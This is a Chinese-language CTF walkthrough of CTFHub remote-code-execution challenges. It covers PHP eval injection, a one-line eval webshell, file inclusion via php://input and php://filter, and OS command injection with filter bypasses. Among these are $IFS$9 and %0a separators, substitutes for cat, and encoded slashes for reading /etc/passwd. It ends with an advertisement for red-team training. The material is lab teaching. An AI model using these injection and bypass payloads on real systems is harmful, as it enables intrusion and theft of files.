CTFHub-RCE题目wp

admin 2025年2月10日11:59:49评论7 views字数 4573阅读15分14秒阅读模式

引言

题目共有如下类型

CTFHub-RCE题目wp

什么是RCE漏洞

RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文就是远程代码执行漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行任意代码

eval执行

分析源码:

<?php
if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
else {
    highlight_file(__FILE__);
}
?>

执行命令查看当前目录

?cmd=system("ls");
CTFHub-RCE题目wp

查看根目录或者上级目录一个一个查找

?cmd=system("ls /");
?cmd=system("ls ../../../");

发现flag文件

CTFHub-RCE题目wp

cat /flag_8751即可

CTFHub-RCE题目wp

文件包含

文件包含

源码审计

<?php
error_reporting(0);
if (isset($_GET['file'])) {                          //检查是否存在file参数且不为空
if (!strpos($_GET["file"], "flag")) {            //过滤flag字符串
include $_GET["file"];                       
    } else {
echo"Hacker!!!";
    }
else {
    highlight_file(__FILE__);
}
?>

<hr>
i have a <a href="shell.txt">shell</a>, how to useit ?   //提示有个shell.txt文件,内容为 <?phpeval($_REQUEST['ctfhub']);?>

利用文件包含读取shell.txt

CTFHub-RCE题目wp

先了解一下**_REQUEST` 变量包含了通过 GETPOST 和 COOKIE 方法传递的数据 ,所以可以利用POST或cookie传入ctfhub变量

查看根目录

CTFHub-RCE题目wp

查找flag

CTFHub-RCE题目wp

php://input

源码分析

<?php
if (isset($_GET['file'])) {                                //检查是否存在file参数
if ( substr($_GET["file"], 06) === "php://" ) {      //检查参数前6位是否为 php:// ,是则执行
include($_GET["file"]);
    } else {
echo"Hacker!!!";
    }
else {
    highlight_file(__FILE__);
}
?>
// 给了应该phpinfo.php超链接

查看phpinfo.php文件,发现此处

CTFHub-RCE题目wp

抓包构造命令执行,因为有php://input,故会执行传入的php代码

CTFHub-RCE题目wp

查看flag

CTFHub-RCE题目wp

这里也可以利用php伪协议,会得到一串base64加密的flag,解密即可

CTFHub-RCE题目wp

或者:

CTFHub-RCE题目wp

读取源代码

源码审计

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 06) === "php://" ) {    //检查file参数是否以 php:// 开头
include($_GET["file"]);
    } else {
echo"Hacker!!!";
    }
else {
    highlight_file(__FILE__);                            //代码高亮,显示源码
}
?>

i don't have shell, how to get flag? 
flag in <code>/flag</code>                             //flag在根目录

php伪协议读取flag

?file=php://filter/read=/resource=/flag
CTFHub-RCE题目wp

远程包含

源码审计

<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {      //过滤flag字符串
include $_GET["file"];
    } else {
echo"Hacker!!!";
    }
else {
    highlight_file(__FILE__);
}
?>

给了一个phpinfo()界面,根据题目提示,还是文件包含题,抓包利用php;//input读取

查看根目录

CTFHub-RCE题目wp

读取flag

CTFHub-RCE题目wp

命令注入

  • 这里需要了解一下常见的命令分隔符

  • ; : 无论前面是否执行,后面都执行

  • ||(逻辑或):前命令失败执行后命令,如果前命令成功则不执行后命令

  • | :前者结果作为后者参数使用

  • && :前命令成功执行后命令,如果失败则不执行后命令

  • n:换行符,url编码%0a

  • %0a  (换行)

  • %0d  (回车)

无过滤

没有做任何过滤

ping一下

CTFHub-RCE题目wp

查看该目录,使用 127.0.0.1; ls 也是可以的

CTFHub-RCE题目wp

查看26398804916519.php

127.0.0.1 | cat 26398804916519.php

发现flag

CTFHub-RCE题目wp

过滤cat

查看源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {   
    $ip = $_GET['ip'];
    $m = [];
if (!preg_match_all("/cat/", $ip, $m)) {           //过滤了cat字符串
        $cmd = "ping -c 4 {$ip}";                //windows默认ping4次,Linux不设置次数会一直ping
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}

查看当前目录

CTFHub-RCE题目wp

因为cat被过滤了,此系统是linux操作系统,所以可以使用cat命令的平替,如 nl     tac     cat     less   more  tail  等

nl查看,得到flag

CTFHub-RCE题目wp

或者使用转义符 绕过 也可以得到flag,会将cat 分为两个字符串,则绕过cat过滤

CTFHub-RCE题目wp

过滤空格

查看源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
if (!preg_match_all("/ /", $ip, $m)) {                 //只过滤了空格
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

先查看当前目录,得到flag文件  flag_11971489425983.php

CTFHub-RCE题目wp

这里介绍几个绕过空格的方法

$IFS$9   %09    <>    <     {cat,flag}

可以绕过空格

127.0.0.1;cat$IFS$9flag_11971489425983.php
CTFHub-RCE题目wp

过滤目录分隔符

几种常见的 / 符号绕过方法

改变工作目录:cd xxx   避免使用 / 符号
环境变量截取: ${PATH:0:1}   ${HOME:0:1}
编码绕过:8进制: $(printf "57")    16进制: $'x2f'      $'57'
调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd     cat  `echo /`etc`echo /`passwd
通配符替代(部分路径已知):/???/cat /???/passwd            //匹配 /bin/cat
利用反斜杠:cat /etc/passwd
协议替代:file_get_contents('glob:///*'); 

提示:

CTFHub-RCE题目wp

源码

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
if (!preg_match_all("///", $ip, $m)) {         //过滤了 / 符号
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

查看当前目录

CTFHub-RCE题目wp

进入该目录并查看

CTFHub-RCE题目wp

执行以下命令读取flag文件

127.0.0.1;cd flag_is_here;cat flag_29914267619184.php

得到flag

CTFHub-RCE题目wp

过滤运算符

查看源码,可以利用 绕过

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
if (!preg_match_all("/(||&)/", $ip, $m)) {          //利用正则匹配过滤了 | 和 & 
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

查看当前目录

CTFHub-RCE题目wp

执行以下命令

127.0.0.1;cat flag_4351260182213.php

得到flag

CTFHub-RCE题目wp

综合过滤练习

源码审计

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
if (!preg_match_all("/(||&|;| |/|cat|flag|ctfhub)/", $ip, $m)) {  //过滤了 | & ; 空格 / cat flag ctfhub
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

利用换行符**%0a绕过**查看当前目录

CTFHub-RCE题目wp

查看根目录,没有有用信息,flag应该存在flag_is_here目录下

CTFHub-RCE题目wp

执行以下命令

?ip=127.0.0.1%0acd$IFS$9flag_is_here%0als         //flag被过滤,需要绕过
CTFHub-RCE题目wp

查看该flag

?ip=127.0.0.1%0acd$IFS$9flag_is_here%0anl$IFS$9flag_172132798218075.php  //绕过cat
CTFHub-RCE题目wp

end

oscp

有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:

1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看

2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑

3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频

4.加入课程可享受工作推荐机会,优秀者可内推至红队,月薪3w+

5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有

CTFHub-RCE题目wp

资料:

CTFHub-RCE题目wp

知识星球

还可以加入我们的知识星球,包含cs二开,甲壳虫,网恋避险工具,红盟工具等,还有很多src挖掘资料包

CTFHub-RCE题目wp
CTFHub-RCE题目wp
CTFHub-RCE题目wp

学习交流群

公众号后台这里选择学习交流即可,如果图片二维码过期,可以加我微信获取

CTFHub-RCE题目wp

原文始发于微信公众号(泷羽Sec-track):CTFHub-RCE题目wp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月10日11:59:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTFHub-RCE题目wphttps://cn-sec.com/archives/3719655.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息